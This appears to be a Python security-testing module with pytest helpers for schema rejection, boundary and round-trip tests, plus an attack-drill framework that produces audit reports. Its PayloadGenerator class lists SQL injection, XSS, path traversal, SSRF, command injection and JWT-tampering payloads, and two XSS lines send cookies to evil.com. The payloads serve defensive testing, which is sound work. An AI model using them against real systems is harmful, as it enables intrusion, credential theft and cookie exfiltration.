"""
Adversarial Testing Framework - Find bugs, don't confirm code works.

This module provides utilities for writing tests that actively try to break
your code rather than confirm it works. The philosophy:

    Tests exist to FIND BUGS, not to confirm code works.

Core Principles:
    1. Test against the SPEC, not the implementation
    2. Write rejection tests FIRST (what should FAIL)
    3. Test boundaries (AT and BEYOND limits)
    4. Verify spec alignment (YAML ↔ Pydantic)

Usage:
    from lightwave.schema.testing.adversarial import (
        RejectionTestSuite,
        BoundaryTestSuite,
        SpecAlignmentTestSuite,
        adversarial_test,
    )

    class TestUserSchema(RejectionTestSuite):
        schema_class = UserSchema
        required_fields = ["email", "name"]
        invalid_values = {"status": ["INVALID", "", None]}

    # Or use the decorator for custom tests
    @adversarial_test(expects_failure=True)
    def test_empty_email_rejected():
        UserSchema(email="")
"""

from __future__ import annotations

import json
from abc import ABC
from dataclasses import dataclass, field
from functools import wraps
from typing import Any, Callable, Generic, TypeVar, get_type_hints

import pytest
from pydantic import BaseModel, ValidationError

T = TypeVar("T", bound=BaseModel)


# =============================================================================
# Result Tracking
# =============================================================================


@dataclass
class AdversarialResult:
    """Result of an adversarial test run."""

    test_name: str
    passed: bool
    bug_found: bool = False
    message: str = ""
    details: dict[str, Any] = field(default_factory=dict)


@dataclass
class AdversarialReport:
    """Aggregate report of adversarial test results."""

    results: list[AdversarialResult] = field(default_factory=list)

    @property
    def total_tests(self) -> int:
        return len(self.results)

    @property
    def bugs_found(self) -> int:
        return sum(1 for r in self.results if r.bug_found)

    @property
    def passed(self) -> int:
        return sum(1 for r in self.results if r.passed)

    @property
    def failed(self) -> int:
        return self.total_tests - self.passed

    def add(self, result: AdversarialResult) -> None:
        self.results.append(result)

    def summary(self) -> str:
        return f"Tests: {self.total_tests}, Passed: {self.passed}, Failed: {self.failed}, Bugs Found: {self.bugs_found}"


# =============================================================================
# Decorators
# =============================================================================


def adversarial_test(
    expects_failure: bool = False,
    exception_type: type[Exception] = ValidationError,
    description: str = "",
) -> Callable:
    """
    Mark a test as adversarial.

    Args:
        expects_failure: If True, test PASSES when exception is raised
        exception_type: Expected exception type when expects_failure=True
        description: Description of what bug this test is looking for

    Usage:
        @adversarial_test(expects_failure=True)
        def test_empty_string_rejected():
            MySchema(required_field="")  # Should raise ValidationError

        @adversarial_test(expects_failure=True, description="SQL injection prevention")
        def test_sql_injection_rejected():
            MySchema(name="'; DROP TABLE users; --")
    """

    def decorator(func: Callable) -> Callable:
        @wraps(func)
        def wrapper(*args: Any, **kwargs: Any) -> Any:
            if expects_failure:
                with pytest.raises(exception_type):
                    return func(*args, **kwargs)
            else:
                return func(*args, **kwargs)

        wrapper._adversarial = True  # type: ignore
        wrapper._expects_failure = expects_failure  # type: ignore
        wrapper._description = description  # type: ignore
        return wrapper

    return decorator


def rejection_test(
    exception_type: type[Exception] = ValidationError,
    message_contains: str | None = None,
) -> Callable:
    """
    Mark a test that verifies rejection of invalid input.

    The test function should attempt to create/call something with invalid input.
    The test PASSES if the expected exception is raised.

    Args:
        exception_type: Expected exception type
        message_contains: Optional string that should be in the error message

    Usage:
        @rejection_test()
        def test_negative_age_rejected():
            PersonSchema(age=-5)

        @rejection_test(message_contains="must be positive")
        def test_negative_age_has_good_message():
            PersonSchema(age=-5)
    """

    def decorator(func: Callable) -> Callable:
        @wraps(func)
        def wrapper(*args: Any, **kwargs: Any) -> Any:
            with pytest.raises(exception_type) as exc_info:
                func(*args, **kwargs)

            if message_contains:
                error_str = str(exc_info.value)
                assert (
                    message_contains in error_str
                ), f"Expected error to contain '{message_contains}', but got: {error_str}"

        wrapper._rejection_test = True  # type: ignore
        return wrapper

    return decorator


def boundary_test(
    field_name: str,
    at_boundary: Any,
    beyond_boundary: Any,
) -> Callable:
    """
    Mark a test that verifies boundary conditions.

    Usage:
        @boundary_test("content", at_boundary="x" * 10000, beyond_boundary="x" * 10001)
        def test_content_length_boundary(value, should_pass):
            if should_pass:
                MessageSchema(content=value)  # Should work
            else:
                with pytest.raises(ValidationError):
                    MessageSchema(content=value)  # Should fail
    """

    def decorator(func: Callable) -> Callable:
        @wraps(func)
        def wrapper(*args: Any, **kwargs: Any) -> Any:
            # Test at boundary (should pass)
            func(at_boundary, should_pass=True, *args, **kwargs)
            # Test beyond boundary (should fail)
            func(beyond_boundary, should_pass=False, *args, **kwargs)

        wrapper._boundary_test = True  # type: ignore
        wrapper._field_name = field_name  # type: ignore
        return wrapper

    return decorator


# =============================================================================
# Test Suite Base Classes
# =============================================================================


class RejectionTestSuite(ABC, Generic[T]):
    """
    Base class for rejection test suites.

    Subclass this and define the schema and what should be rejected.

    Usage:
        class TestUserSchemaRejection(RejectionTestSuite[UserSchema]):
            schema_class = UserSchema

            required_fields = ["email", "name"]

            invalid_values = {
                "email": ["", "not-an-email", None],
                "status": ["INVALID", "bad_status"],
            }

            extra_fields_rejected = True
    """

    schema_class: type[T]
    required_fields: list[str] = []
    invalid_values: dict[str, list[Any]] = {}
    extra_fields_rejected: bool = True
    valid_construction_kwargs: dict[str, Any] = {}

    def test_missing_required_fields(self) -> None:
        """Test that missing required fields are rejected."""
        for field_name in self.required_fields:
            # Build kwargs with all valid values EXCEPT the required field
            kwargs = self.valid_construction_kwargs.copy()
            kwargs.pop(field_name, None)

            with pytest.raises(ValidationError) as exc_info:
                self.schema_class(**kwargs)

            # Verify the error mentions the missing field
            error_str = str(exc_info.value).lower()
            assert (
                field_name.lower() in error_str or "required" in error_str
            ), f"Expected error about missing '{field_name}', got: {exc_info.value}"

    def test_invalid_values_rejected(self) -> None:
        """Test that invalid values are rejected."""
        for field_name, invalid_vals in self.invalid_values.items():
            for invalid_val in invalid_vals:
                kwargs = self.valid_construction_kwargs.copy()
                kwargs[field_name] = invalid_val

                with pytest.raises(ValidationError):
                    self.schema_class(**kwargs)

    def test_extra_fields_rejected(self) -> None:
        """Test that extra/unknown fields are rejected."""
        if not self.extra_fields_rejected:
            pytest.skip("extra_fields_rejected is False")

        kwargs = self.valid_construction_kwargs.copy()
        kwargs["__EXTRA_FIELD_THAT_SHOULD_NOT_EXIST__"] = "bad"

        with pytest.raises(ValidationError):
            self.schema_class(**kwargs)


class BoundaryTestSuite(ABC, Generic[T]):
    """
    Base class for boundary condition test suites.

    Usage:
        class TestMessageBoundaries(BoundaryTestSuite[MessageSchema]):
            schema_class = MessageSchema
            valid_construction_kwargs = {"conversation_id": "test"}

            boundaries = {
                "content": {
                    "max_length": 10000,
                    "min_length": 1,  # Optional
                },
            }
    """

    schema_class: type[T]
    valid_construction_kwargs: dict[str, Any] = {}
    boundaries: dict[str, dict[str, int]] = {}

    def test_at_max_boundary(self) -> None:
        """Test values AT the maximum boundary (should pass)."""
        for field_name, limits in self.boundaries.items():
            if "max_length" in limits:
                kwargs = self.valid_construction_kwargs.copy()
                kwargs[field_name] = "x" * limits["max_length"]
                # Should not raise
                self.schema_class(**kwargs)

    def test_beyond_max_boundary(self) -> None:
        """Test values BEYOND the maximum boundary (should fail)."""
        for field_name, limits in self.boundaries.items():
            if "max_length" in limits:
                kwargs = self.valid_construction_kwargs.copy()
                kwargs[field_name] = "x" * (limits["max_length"] + 1)

                with pytest.raises(ValidationError):
                    self.schema_class(**kwargs)

    def test_at_min_boundary(self) -> None:
        """Test values AT the minimum boundary (should pass)."""
        for field_name, limits in self.boundaries.items():
            if "min_length" in limits:
                kwargs = self.valid_construction_kwargs.copy()
                kwargs[field_name] = "x" * limits["min_length"]
                # Should not raise
                self.schema_class(**kwargs)

    def test_below_min_boundary(self) -> None:
        """Test values BELOW the minimum boundary (should fail)."""
        for field_name, limits in self.boundaries.items():
            if "min_length" in limits and limits["min_length"] > 0:
                kwargs = self.valid_construction_kwargs.copy()
                kwargs[field_name] = "x" * (limits["min_length"] - 1)

                with pytest.raises(ValidationError):
                    self.schema_class(**kwargs)


class RoundTripTestSuite(ABC, Generic[T]):
    """
    Base class for round-trip serialization tests.

    Usage:
        class TestMessageRoundTrip(RoundTripTestSuite[MessageSchema]):
            schema_class = MessageSchema

            test_instances = [
                {"content": "Hello", "conversation_id": "123"},
                {"content": "With context", "conversation_id": "456", "context": {"page": "/test"}},
            ]
    """

    schema_class: type[T]
    test_instances: list[dict[str, Any]] = []

    def test_json_round_trip(self) -> None:
        """Test that JSON serialization preserves all data."""
        for kwargs in self.test_instances:
            original = self.schema_class(**kwargs)

            # Serialize to JSON
            json_str = original.model_dump_json()

            # Parse and reconstruct
            parsed = json.loads(json_str)
            reconstructed = self.schema_class.model_validate(parsed)

            # Compare all fields
            for field_name in kwargs:
                original_val = getattr(original, field_name)
                reconstructed_val = getattr(reconstructed, field_name)
                assert (
                    original_val == reconstructed_val
                ), f"Round-trip lost data in '{field_name}': {original_val!r} != {reconstructed_val!r}"

    def test_dict_round_trip(self) -> None:
        """Test that dict serialization preserves all data."""
        for kwargs in self.test_instances:
            original = self.schema_class(**kwargs)

            # Serialize to dict
            as_dict = original.model_dump()

            # Reconstruct
            reconstructed = self.schema_class.model_validate(as_dict)

            # Should be equal
            assert original == reconstructed


# =============================================================================
# Literal/Enum Exhaustion Testing
# =============================================================================


def get_literal_values(model: type[BaseModel], field_name: str) -> list[str] | None:
    """
    Extract allowed Literal values from a Pydantic model field.

    Returns None if the field is not a Literal type.
    """
    try:
        hints = get_type_hints(model)
        field_type = hints.get(field_name)

        if field_type is None:
            return None

        # Handle Literal types
        if hasattr(field_type, "__origin__"):
            from typing import Literal, get_args

            if field_type.__origin__ is Literal:
                return list(get_args(field_type))

        return None
    except Exception:
        return None


class LiteralExhaustionTest(Generic[T]):
    """
    Test that Literal fields accept all valid values and reject invalid ones.

    Usage:
        class TestStatusLiteral(LiteralExhaustionTest[MySchema]):
            schema_class = MySchema
            field_name = "status"
            valid_construction_kwargs = {"name": "test"}
            invalid_values = ["INVALID", "", "Bad_Status", None]
    """

    schema_class: type[T]
    field_name: str
    valid_construction_kwargs: dict[str, Any] = {}
    invalid_values: list[Any] = ["INVALID", "", None]

    def test_all_literal_values_accepted(self) -> None:
        """Test that all Literal values are accepted."""
        valid_values = get_literal_values(self.schema_class, self.field_name)

        if valid_values is None:
            pytest.skip(f"Field '{self.field_name}' is not a Literal type")

        for value in valid_values:
            kwargs = self.valid_construction_kwargs.copy()
            kwargs[self.field_name] = value
            # Should not raise
            self.schema_class(**kwargs)

    def test_invalid_literal_values_rejected(self) -> None:
        """Test that invalid values are rejected."""
        for invalid_val in self.invalid_values:
            kwargs = self.valid_construction_kwargs.copy()
            kwargs[self.field_name] = invalid_val

            with pytest.raises(ValidationError):
                self.schema_class(**kwargs)


# =============================================================================
# Adversarial Test Generator
# =============================================================================


def generate_rejection_tests(
    schema_class: type[BaseModel],
    valid_kwargs: dict[str, Any],
) -> list[tuple[str, Callable]]:
    """
    Automatically generate rejection tests for a Pydantic schema.

    Returns a list of (test_name, test_function) tuples that can be
    added to a test class or run directly.

    Usage:
        from lightwave.schema.testing.adversarial import generate_rejection_tests

        tests = generate_rejection_tests(UserSchema, {"email": "test@example.com"})
        for name, test_func in tests:
            # Run or register the test
            test_func()
    """
    tests: list[tuple[str, Callable]] = []

    # Test: Empty construction
    def test_empty_construction() -> None:
        with pytest.raises(ValidationError):
            schema_class()

    tests.append(("test_empty_construction", test_empty_construction))

    # Test: Extra fields
    def test_extra_fields_rejected() -> None:
        kwargs = valid_kwargs.copy()
        kwargs["__INVALID_EXTRA_FIELD__"] = "bad"
        with pytest.raises(ValidationError):
            schema_class(**kwargs)

    tests.append(("test_extra_fields_rejected", test_extra_fields_rejected))

    # Test: Each required field missing
    for field_name, field_info in schema_class.model_fields.items():
        if field_info.is_required():

            def make_missing_test(fname: str) -> Callable:
                def test_missing_field() -> None:
                    kwargs = valid_kwargs.copy()
                    kwargs.pop(fname, None)
                    with pytest.raises(ValidationError):
                        schema_class(**kwargs)

                return test_missing_field

            tests.append((f"test_missing_{field_name}", make_missing_test(field_name)))

    return tests


# =============================================================================
# ATTACK DRILL FRAMEWORK
# =============================================================================
# Applies adversarial testing philosophy to security:
#   "Tests exist to FIND vulnerabilities, not confirm security works."
#
# Core Principles:
#   1. Test against OWASP/CWE standards, not implementation
#   2. Write attack vectors FIRST (what should be BLOCKED)
#   3. Test at AND BEYOND security boundaries
#   4. Verify defense alignment (config ↔ implementation)
# =============================================================================

from datetime import datetime
from enum import Enum
from pathlib import Path


class Severity(str, Enum):
    """Vulnerability severity levels aligned with CVSS."""

    CRITICAL = "critical"
    HIGH = "high"
    MEDIUM = "medium"
    LOW = "low"
    INFORMATIONAL = "informational"


class ThreatActorType(str, Enum):
    """Categories of threat actors by capability."""

    SCRIPT_KIDDIE = "script_kiddie"
    OPPORTUNISTIC_HACKER = "opportunistic_hacker"
    ORGANIZED_CRIME = "organized_crime"
    NATION_STATE = "nation_state"
    INSIDER_THREAT = "insider_threat"
    COMPETITOR = "competitor"


@dataclass
class AttackPayload:
    """A specific attack payload to test."""

    pattern: str
    attack: str | None = None
    expected: str = ""


@dataclass
class AttackVector:
    """An attack technique with multiple payloads."""

    name: str
    description: str
    test_payloads: list[AttackPayload]


@dataclass
class AttackCategory:
    """OWASP category of attacks."""

    owasp_id: str | None
    cwe_ids: list[str]
    severity: Severity
    attacks: dict[str, AttackVector]


@dataclass
class ThreatActor:
    """Profile of a threat actor."""

    name: str
    description: str
    budget: str
    sophistication: str
    motivation: list[str]
    capabilities: list[str]
    attack_vectors: list[str]


@dataclass
class Finding:
    """A security vulnerability finding."""

    finding_id: str
    title: str
    severity: Severity
    owasp_category: str | None
    cwe_id: str | None
    affected_component: str
    description: str
    proof_of_concept: str | None
    remediation: str
    references: list[str] = field(default_factory=list)
    test_name: str | None = None
    blocked: bool = True  # True if attack was blocked (good)


@dataclass
class AttackDrillResult:
    """Result of running an attack drill."""

    attack_name: str
    payload: AttackPayload
    blocked: bool
    actual_response: str
    expected_response: str
    execution_time_ms: float
    error: str | None = None

    @property
    def passed(self) -> bool:
        """Test passes if attack was blocked as expected."""
        return self.blocked


@dataclass
class SecurityAuditReport:
    """Complete security audit report."""

    report_id: str
    generated_at: datetime
    target_application: str
    assessed_threat_actors: list[str]
    attack_surface_summary: str
    data_classification: str
    findings: list[Finding]
    drill_results: list[AttackDrillResult]
    test_coverage: dict[str, Any]
    recommendations: list[dict[str, Any]]

    @property
    def risk_rating(self) -> Severity:
        """Overall risk based on highest severity finding."""
        if not self.findings:
            return Severity.INFORMATIONAL

        severities = [f.severity for f in self.findings if not f.blocked]
        if not severities:
            return Severity.INFORMATIONAL

        severity_order = [
            Severity.CRITICAL,
            Severity.HIGH,
            Severity.MEDIUM,
            Severity.LOW,
            Severity.INFORMATIONAL,
        ]
        for sev in severity_order:
            if sev in severities:
                return sev
        return Severity.INFORMATIONAL

    @property
    def critical_findings_count(self) -> int:
        return sum(1 for f in self.findings if f.severity == Severity.CRITICAL and not f.blocked)

    @property
    def high_findings_count(self) -> int:
        return sum(1 for f in self.findings if f.severity == Severity.HIGH and not f.blocked)

    @property
    def vulnerabilities_found(self) -> int:
        """Count of unblocked attacks (actual vulnerabilities)."""
        return sum(1 for f in self.findings if not f.blocked)

    @property
    def attacks_blocked(self) -> int:
        """Count of successfully blocked attacks."""
        return sum(1 for f in self.findings if f.blocked)

    def to_markdown(self) -> str:
        """Generate markdown audit report."""
        lines = [
            "# Security Audit Report",
            "",
            f"**Report ID:** {self.report_id}",
            f"**Generated:** {self.generated_at.isoformat()}",
            f"**Target:** {self.target_application}",
            "",
            "## Executive Summary",
            "",
            "| Metric | Value |",
            "|--------|-------|",
            f"| Overall Risk Rating | **{self.risk_rating.value.upper()}** |",
            f"| Critical Findings | {self.critical_findings_count} |",
            f"| High Findings | {self.high_findings_count} |",
            f"| Vulnerabilities Found | {self.vulnerabilities_found} |",
            f"| Attacks Blocked | {self.attacks_blocked} |",
            "",
            "## Threat Model",
            "",
            f"**Assessed Threat Actors:** {', '.join(self.assessed_threat_actors)}",
            "",
            f"**Attack Surface:** {self.attack_surface_summary}",
            "",
            f"**Data Classification:** {self.data_classification}",
            "",
            "## Findings",
            "",
        ]

        # Group findings by severity
        for severity in [Severity.CRITICAL, Severity.HIGH, Severity.MEDIUM, Severity.LOW]:
            severity_findings = [f for f in self.findings if f.severity == severity]
            if severity_findings:
                lines.append(f"### {severity.value.title()} Severity")
                lines.append("")

                for finding in severity_findings:
                    status = "✅ BLOCKED" if finding.blocked else "❌ VULNERABLE"
                    lines.extend(
                        [
                            f"#### {finding.finding_id}: {finding.title} [{status}]",
                            "",
                            f"**Component:** {finding.affected_component}",
                            "",
                            f"**OWASP:** {finding.owasp_category or 'N/A'} | **CWE:** {finding.cwe_id or 'N/A'}",
                            "",
                            finding.description,
                            "",
                            f"**Remediation:** {finding.remediation}",
                            "",
                        ]
                    )

        # Test Coverage
        lines.extend(
            [
                "## Test Coverage",
                "",
                "| Category | Tests Run |",
                "|----------|-----------|",
            ]
        )
        for category, count in self.test_coverage.items():
            lines.append(f"| {category} | {count} |")

        lines.append("")

        # Recommendations
        lines.extend(["## Recommendations", ""])
        for i, rec in enumerate(self.recommendations, 1):
            priority = rec.get("priority", "medium")
            lines.append(f"{i}. **[{priority.upper()}]** {rec.get('recommendation', '')}")

        lines.append("")
        lines.append("---")
        lines.append("*Report generated by LightWave Attack Drill Framework*")

        return "\n".join(lines)


class AttackDrillLoader:
    """Load attack drill definitions from security.yaml."""

    def __init__(self, yaml_path: Path | None = None) -> None:
        self.yaml_path = yaml_path or self._default_yaml_path()
        self._data: dict[str, Any] | None = None

    def _default_yaml_path(self) -> Path:
        """Get default path to security.yaml (from __index.yaml registry)."""
        from lightwave.schema.core.paths import get_sst_path

        return get_sst_path("security")

    def _load(self) -> dict[str, Any]:
        """Load and cache YAML data."""
        if self._data is None:
            try:
                import yaml

                with open(self.yaml_path) as f:
                    self._data = yaml.safe_load(f)
            except ImportError:
                raise ImportError("PyYAML required: pip install pyyaml")
            except FileNotFoundError:
                raise FileNotFoundError(f"Security YAML not found: {self.yaml_path}")
        return self._data

    @property
    def attack_drills(self) -> dict[str, Any]:
        """Get attack_drills section."""
        return self._load().get("attack_drills", {})

    def get_threat_actors(self) -> dict[str, ThreatActor]:
        """Load threat actor profiles."""
        actors = {}
        for name, data in self.attack_drills.get("threat_actors", {}).items():
            actors[name] = ThreatActor(
                name=name,
                description=data.get("description", ""),
                budget=data.get("budget", "unknown"),
                sophistication=data.get("sophistication", "unknown"),
                motivation=data.get("motivation", []),
                capabilities=data.get("capabilities", []),
                attack_vectors=data.get("attack_vectors", []),
            )
        return actors

    def get_attack_vectors(self) -> dict[str, AttackCategory]:
        """Load attack vector categories."""
        categories = {}
        for name, data in self.attack_drills.get("attack_vectors", {}).items():
            attacks = {}
            for attack_name, attack_data in data.get("attacks", {}).items():
                payloads = [
                    AttackPayload(
                        pattern=p.get("pattern", ""),
                        attack=p.get("attack"),
                        expected=p.get("expected", ""),
                    )
                    for p in attack_data.get("test_payloads", [])
                ]
                attacks[attack_name] = AttackVector(
                    name=attack_data.get("name", attack_name),
                    description=attack_data.get("description", ""),
                    test_payloads=payloads,
                )

            severity_str = data.get("severity", "medium")
            try:
                severity = Severity(severity_str)
            except ValueError:
                severity = Severity.MEDIUM

            categories[name] = AttackCategory(
                owasp_id=data.get("owasp_id"),
                cwe_ids=data.get("cwe_ids", []),
                severity=severity,
                attacks=attacks,
            )
        return categories

    def get_severity_levels(self) -> dict[str, dict[str, Any]]:
        """Load severity level definitions."""
        return self.attack_drills.get("severity_levels", {})

    def get_compliance_mapping(self) -> dict[str, dict[str, list[str]]]:
        """Load compliance framework mappings."""
        return self.attack_drills.get("compliance_mapping", {})


class AttackDrillSuite:
    """
    Base class for security attack drill test suites.

    Applies adversarial testing philosophy to security:
        "Tests exist to FIND vulnerabilities, not confirm security works."

    Usage:
        class TestAPISecurityDrills(AttackDrillSuite):
            target_component = "API Gateway"
            threat_actors = ["opportunistic_hacker", "organized_crime"]

            # Implement these for your specific application
            async def execute_payload(
                self,
                category: str,
                attack: str,
                payload: AttackPayload,
            ) -> AttackDrillResult:
                # Send payload to your API and check response
                response = await self.client.post("/api/login", json={
                    "username": payload.pattern,
                })
                blocked = response.status_code in (400, 403)
                return AttackDrillResult(
                    attack_name=attack,
                    payload=payload,
                    blocked=blocked,
                    actual_response=str(response.status_code),
                    expected_response=payload.expected,
                    execution_time_ms=response.elapsed.total_seconds() * 1000,
                )

        # Run with pytest
        def test_sql_injection_drills(drill_suite):
            results = drill_suite.run_category("injection")
            assert all(r.blocked for r in results)
    """

    target_component: str = "Application"
    threat_actors: list[str] = []
    attack_categories: list[str] = []  # Empty = all categories

    def __init__(self) -> None:
        self.loader = AttackDrillLoader()
        self.results: list[AttackDrillResult] = []
        self.findings: list[Finding] = []

    def get_applicable_attacks(self) -> dict[str, AttackCategory]:
        """Get attack categories applicable to configured threat actors."""
        all_categories = self.loader.get_attack_vectors()

        if not self.attack_categories:
            return all_categories

        return {name: cat for name, cat in all_categories.items() if name in self.attack_categories}

    def execute_payload(
        self,
        category: str,
        attack: str,
        payload: AttackPayload,
    ) -> AttackDrillResult:
        """
        Execute a single attack payload against the target.

        Override this method to implement actual attack execution.
        Default implementation raises NotImplementedError.
        """
        raise NotImplementedError("Subclass must implement execute_payload() to run actual attacks")

    def run_attack(
        self,
        category_name: str,
        category: AttackCategory,
        attack_name: str,
        attack: AttackVector,
    ) -> list[AttackDrillResult]:
        """Run all payloads for a single attack vector."""
        results = []
        for payload in attack.test_payloads:
            try:
                result = self.execute_payload(category_name, attack_name, payload)
                results.append(result)

                # Create finding
                finding = Finding(
                    finding_id=f"{category_name.upper()}-{attack_name.upper()}-{len(self.findings) + 1:03d}",
                    title=attack.name,
                    severity=category.severity,
                    owasp_category=category.owasp_id,
                    cwe_id=category.cwe_ids[0] if category.cwe_ids else None,
                    affected_component=self.target_component,
                    description=f"{attack.description}\n\nPayload: `{payload.pattern}`",
                    proof_of_concept=payload.pattern,
                    remediation=f"Expected: {payload.expected}",
                    blocked=result.blocked,
                    test_name=f"test_{category_name}_{attack_name}",
                )
                self.findings.append(finding)

            except Exception as e:
                results.append(
                    AttackDrillResult(
                        attack_name=attack_name,
                        payload=payload,
                        blocked=False,
                        actual_response="ERROR",
                        expected_response=payload.expected,
                        execution_time_ms=0,
                        error=str(e),
                    )
                )

        return results

    def run_category(self, category_name: str) -> list[AttackDrillResult]:
        """Run all attacks in a category."""
        categories = self.get_applicable_attacks()
        if category_name not in categories:
            raise ValueError(f"Unknown category: {category_name}")

        category = categories[category_name]
        results = []

        for attack_name, attack in category.attacks.items():
            attack_results = self.run_attack(category_name, category, attack_name, attack)
            results.extend(attack_results)

        self.results.extend(results)
        return results

    def run_all(self) -> list[AttackDrillResult]:
        """Run all applicable attack categories."""
        results = []
        for category_name in self.get_applicable_attacks():
            results.extend(self.run_category(category_name))
        return results

    def generate_report(
        self,
        target_application: str = "LightWave Platform",
        data_classification: str = "Confidential",
    ) -> SecurityAuditReport:
        """Generate a complete security audit report."""
        # Calculate test coverage
        coverage: dict[str, int] = {}
        for result in self.results:
            coverage[result.attack_name] = coverage.get(result.attack_name, 0) + 1

        # Generate recommendations based on findings
        recommendations = []
        unblocked = [f for f in self.findings if not f.blocked]

        for finding in sorted(unblocked, key=lambda f: f.severity.value):
            priority = "immediate" if finding.severity in (Severity.CRITICAL, Severity.HIGH) else "short_term"
            recommendations.append(
                {
                    "priority": priority,
                    "recommendation": f"Fix {finding.title}: {finding.remediation}",
                    "finding_id": finding.finding_id,
                }
            )

        return SecurityAuditReport(
            report_id=f"AUDIT-{datetime.now().strftime('%Y%m%d-%H%M%S')}",
            generated_at=datetime.now(),
            target_application=target_application,
            assessed_threat_actors=self.threat_actors or ["all"],
            attack_surface_summary=f"Tested {len(self.results)} attack payloads across {len(coverage)} vectors",
            data_classification=data_classification,
            findings=self.findings,
            drill_results=self.results,
            test_coverage=coverage,
            recommendations=recommendations,
        )


# =============================================================================
# Test Decorators for Attack Drills
# =============================================================================


def attack_drill(
    category: str,
    attack: str,
    owasp_id: str | None = None,
    cwe_id: str | None = None,
) -> Callable:
    """
    Mark a test as a security attack drill.

    Usage:
        @attack_drill("injection", "sql_injection", owasp_id="A03:2021", cwe_id="CWE-89")
        def test_sql_injection_login():
            response = client.post("/login", json={"user": "' OR '1'='1"})
            assert response.status_code == 400  # Blocked
    """

    def decorator(func: Callable) -> Callable:
        @wraps(func)
        def wrapper(*args: Any, **kwargs: Any) -> Any:
            return func(*args, **kwargs)

        wrapper._attack_drill = True  # type: ignore
        wrapper._category = category  # type: ignore
        wrapper._attack = attack  # type: ignore
        wrapper._owasp_id = owasp_id  # type: ignore
        wrapper._cwe_id = cwe_id  # type: ignore
        return wrapper

    return decorator


def for_threat_actor(actor: str | ThreatActorType) -> Callable:
    """
    Mark a test as relevant to a specific threat actor.

    Usage:
        @for_threat_actor("organized_crime")
        def test_account_takeover():
            ...
    """

    def decorator(func: Callable) -> Callable:
        @wraps(func)
        def wrapper(*args: Any, **kwargs: Any) -> Any:
            return func(*args, **kwargs)

        actor_str = actor.value if isinstance(actor, ThreatActorType) else actor
        wrapper._threat_actor = actor_str  # type: ignore
        return wrapper

    return decorator


# =============================================================================
# Payload Generators for Common Attack Types
# =============================================================================


class PayloadGenerator:
    """Generate attack payloads for common vulnerability types."""

    @staticmethod
    def sql_injection() -> list[str]:
        """Generate SQL injection payloads."""
        return [
            "' OR '1'='1",
            "' OR '1'='1' --",
            "' OR '1'='1' /*",
            "'; DROP TABLE users; --",
            "1 UNION SELECT * FROM users",
            "1; SELECT * FROM users",
            "' AND 1=1 --",
            "' AND 1=2 --",
            "admin'--",
            "1' ORDER BY 1--",
            "1' ORDER BY 10--",
            "-1 OR 1=1",
            "1 AND SLEEP(5)",
            "1' AND SLEEP(5)--",
            "1; WAITFOR DELAY '0:0:5'--",
        ]

    @staticmethod
    def xss() -> list[str]:
        """Generate XSS payloads."""
        return [
            "<script>alert(1)</script>",
            "<img src=x onerror=alert(1)>",
            "<svg onload=alert(1)>",
            "javascript:alert(1)",
            "<body onload=alert(1)>",
            "<iframe src='javascript:alert(1)'>",
            "'-alert(1)-'",
            "{{constructor.constructor('alert(1)')()}}",
            "${alert(1)}",
            "<script>document.location='http://evil.com/'+document.cookie</script>",
            "<img src=x onerror=this.src='http://evil.com/?c='+document.cookie>",
            "'\"><script>alert(1)</script>",
            "<ScRiPt>alert(1)</ScRiPt>",
            "%3Cscript%3Ealert(1)%3C/script%3E",
        ]

    @staticmethod
    def path_traversal() -> list[str]:
        """Generate path traversal payloads."""
        return [
            "../../../etc/passwd",
            "....//....//....//etc/passwd",
            "..%2f..%2f..%2fetc/passwd",
            "..%252f..%252f..%252fetc/passwd",
            "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
            "....\\....\\....\\windows\\system32\\config\\sam",
            "..\\..\\..\\windows\\system32\\config\\sam",
            "/etc/passwd%00",
            "..%c0%af..%c0%af..%c0%afetc/passwd",
            "..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc/passwd",
        ]

    @staticmethod
    def ssrf() -> list[str]:
        """Generate SSRF payloads."""
        return [
            "http://127.0.0.1",
            "http://localhost",
            "http://0.0.0.0",
            "http://[::1]",
            "http://169.254.169.254/latest/meta-data/",
            "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
            "http://10.0.0.1",
            "http://172.16.0.1",
            "http://192.168.1.1",
            "file:///etc/passwd",
            "gopher://localhost:25",
            "dict://localhost:11211",
            "http://127.0.0.1:22",
            "http://127.0.0.1:3306",
            "http://127.0.0.1:6379",
        ]

    @staticmethod
    def command_injection() -> list[str]:
        """Generate OS command injection payloads."""
        return [
            "; cat /etc/passwd",
            "| cat /etc/passwd",
            "& cat /etc/passwd",
            "&& cat /etc/passwd",
            "|| cat /etc/passwd",
            "$(cat /etc/passwd)",
            "`cat /etc/passwd`",
            "; ls -la",
            "| ls -la",
            "; whoami",
            "| whoami",
            "; id",
            "| id",
            "; sleep 5",
            "| sleep 5",
            "$(sleep 5)",
        ]

    @staticmethod
    def jwt_attacks() -> list[dict[str, str]]:
        """Generate JWT manipulation payloads."""
        return [
            {"alg": "none", "description": "Algorithm none attack"},
            {"alg": "HS256", "note": "Use RS256 public key as secret"},
            {"exp": "9999999999", "description": "Far future expiry"},
            {"exp": "0", "description": "Epoch expiry"},
            {"iat": "9999999999", "description": "Future issued-at"},
            {"role": "admin", "description": "Role escalation"},
            {"sub": "admin", "description": "Subject manipulation"},
        ]


# =============================================================================
# Configuration-Based Drill Generator
# =============================================================================


def generate_drills_from_config(
    config_section: str = "rate_limits",
) -> list[tuple[str, Callable]]:
    """
    Generate security tests from security.yaml configuration.

    Verifies that the application enforces the configured security limits.

    Usage:
        from lightwave.schema.testing.adversarial import generate_drills_from_config

        # Generate rate limit tests
        rate_limit_tests = generate_drills_from_config("rate_limits")

        # Add to test class
        for name, test_func in rate_limit_tests:
            setattr(TestRateLimits, name, test_func)
    """
    tests: list[tuple[str, Callable]] = []
    loader = AttackDrillLoader()

    try:
        import yaml

        with open(loader.yaml_path) as f:
            config = yaml.safe_load(f)
    except Exception:
        return tests

    section = config.get(config_section, {})

    if config_section == "rate_limits":
        for endpoint, limits in section.items():
            requests = limits.get("requests", 100)
            period = limits.get("period", "minute")

            def make_rate_limit_test(ep: str, req: int, per: str) -> Callable:
                def test_rate_limit() -> None:
                    # This is a template - actual implementation would
                    # make HTTP requests and verify rate limiting
                    assert req > 0, f"Rate limit for {ep} must be positive"
                    assert per in ("second", "minute", "hour", "day")

                test_rate_limit.__doc__ = f"Verify {ep} enforces {req} requests per {per}"
                return test_rate_limit

            tests.append((f"test_rate_limit_{endpoint}", make_rate_limit_test(endpoint, requests, period)))

    return tests
